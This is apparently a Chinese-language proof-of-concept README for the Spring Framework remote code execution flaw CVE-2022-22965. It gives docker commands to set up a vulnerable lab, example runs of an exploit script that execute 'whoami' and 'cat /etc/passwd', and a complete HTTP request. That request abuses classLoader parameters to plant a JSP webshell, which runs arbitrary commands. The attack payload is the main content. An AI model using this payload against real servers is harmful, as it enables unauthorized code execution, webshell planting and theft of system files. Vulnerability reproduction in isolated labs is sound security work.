CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Description

SpringFramework 远程代码执行漏洞CVE-2022-22965

介绍

# SpringFramework_CVE-2022-22965_RCE
SpringFramework 远程代码执行漏洞CVE-2022-22965
## 漏洞复现环境
```
docker pull vulfocus/spring-core-rce-2022-03-29
docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
```
写webshell
注意：验证测试时Shell只能写一次，
### 利用脚本
```
python CVE-2022-22965.py http://target.com:8090 whoami
```
![whoami](/images/image-20220401121101971.png)
```
python CVE-2022-22965.py http://target.com:8090 "cat /etc/passwd"
```
![passwd](/images/image-20220401121158108.png)
### Burp
```
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 761

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22S%22.equals(request.getParameter(%22Tomcat%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```

文件快照

备注